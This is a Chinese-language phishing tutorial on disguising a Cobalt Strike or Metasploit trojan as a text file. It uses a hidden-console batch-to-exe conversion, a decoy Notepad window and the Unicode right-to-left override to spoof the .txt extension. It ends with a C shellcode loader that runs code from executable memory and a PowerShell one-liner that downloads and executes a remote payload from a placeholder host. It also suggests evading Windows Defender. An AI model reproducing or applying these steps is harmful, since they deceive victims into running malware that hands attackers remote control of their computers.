左側的文件是muma文件。右邊的文件是真實文本文件,兩者看起來基本一模一樣(仔細看的出來圖標略微不一樣,圖標可以後期自行設置),可以看到都是.txt的文件名。
一旦執行左側的木馬文件,我們的木馬就會在後臺悄悄執行了。CS MSF等等C2正常上線。
0x01 生成shellcode我們使用CS MSF等等C2生成的powershell等shellcode.(任意命令行類型shellcode都可)
這裡我用CS演示。先生成一段powershell命令行執行shellcode
但是我們是釣魚,釣魚就一些迷惑的東西。將先前創建的PowerShell有效負載移至Windows系統,並另存為payload.bat
我們去https://github.com/B00merang-Project/Windows-10-Icons下載Windows10圖標。
在kali中就使用git下載吧
git clone https://github.com/B00merang-Project/Windows-10-Icons該文件中可能不包含內置Windows 10圖標的確切副本,但是看起來足夠接近,可以很好地利用。
也可以在網上設計圖標或找到更好的圖標
0x02 將PNG轉換為ICO格式PNG將需要轉換為Windows ICO圖標格式。
0x03 安裝BAT2EXE
可以使用在線工具(如ConvertICO:https://www.convertico.com )完成此操作。
只需將所需的PNG上傳到網站,它將以ICO格式輸出。訪問以下URL以下載B2E。
https://github.com/tokyoneon/B2E/下載下來後直接安裝執行
0x04 導入payload.bat完成後,啟動B2E,然後單擊「打開/Open」按鈕以導入之前創建的payload.bat。
0x05 將.bat轉為.exe現在將單詞notepad添加到payload.bat的頂部,然後單擊「保存」。在執行PowerShell有效負載之前,這將使可執行文件在Windows計算機上打開記事本。這樣做會使目標用戶相信他們剛剛單擊的文件確實是合法的文本文件。
完成後,選中「 Icon」選項將其打勾啟用,然後使用「 …」按鈕導入在上一步中創建ico圖標。
然後,將Exe格式更改為「 64位Windows |(不可見)」,以防止在目標用戶打開文件時彈出任何終端。
之後點擊頂部菜單欄Converter-->Convert創建exe文件,然後將文件另存為sertxt.exe
0x06 ‮ 反轉字符串欺騙擴展名‮連結:https://unicode-table.com/en/202E/
使用Unicode字符來反轉字符在文件名中的顯示順序。‮後的內容將進行反轉(從右至左)
木馬上線可以看到打開執行後也是文本界面(經過測試發現當關閉文本窗口時才會執行我們的shellcode)測試時還發現是不免殺windows defender,當然後期可以對cs生成的powershell做免殺處理
總結其實全程下來核心在於‮(後面有";",不然會看不到)反轉字符這裡,試想,我們可不可以將現有的任意exe反轉成這種類似的具有迷惑性的記事本文件呢,只需要在程序代碼最後調用系統函數執行notepad即可,這樣應該會達到上述演示的相同效果(這只是我個人猜想並沒有驗證,有興趣的老哥可以驗證一下)
示例代碼:
#include <stdio.h>
#include <windows.h>
using namespace std;
int main()
{
char shellcode[] = "把shellcode粘貼到這裡";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
((void(*)())lpAlloc)();
system("notepad"); # 這段代碼放在最前還是最後取決於測試結果
return 0;
}由此可知 只要是遠程上線的都可,比如遠程加載powershell腳
powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1');"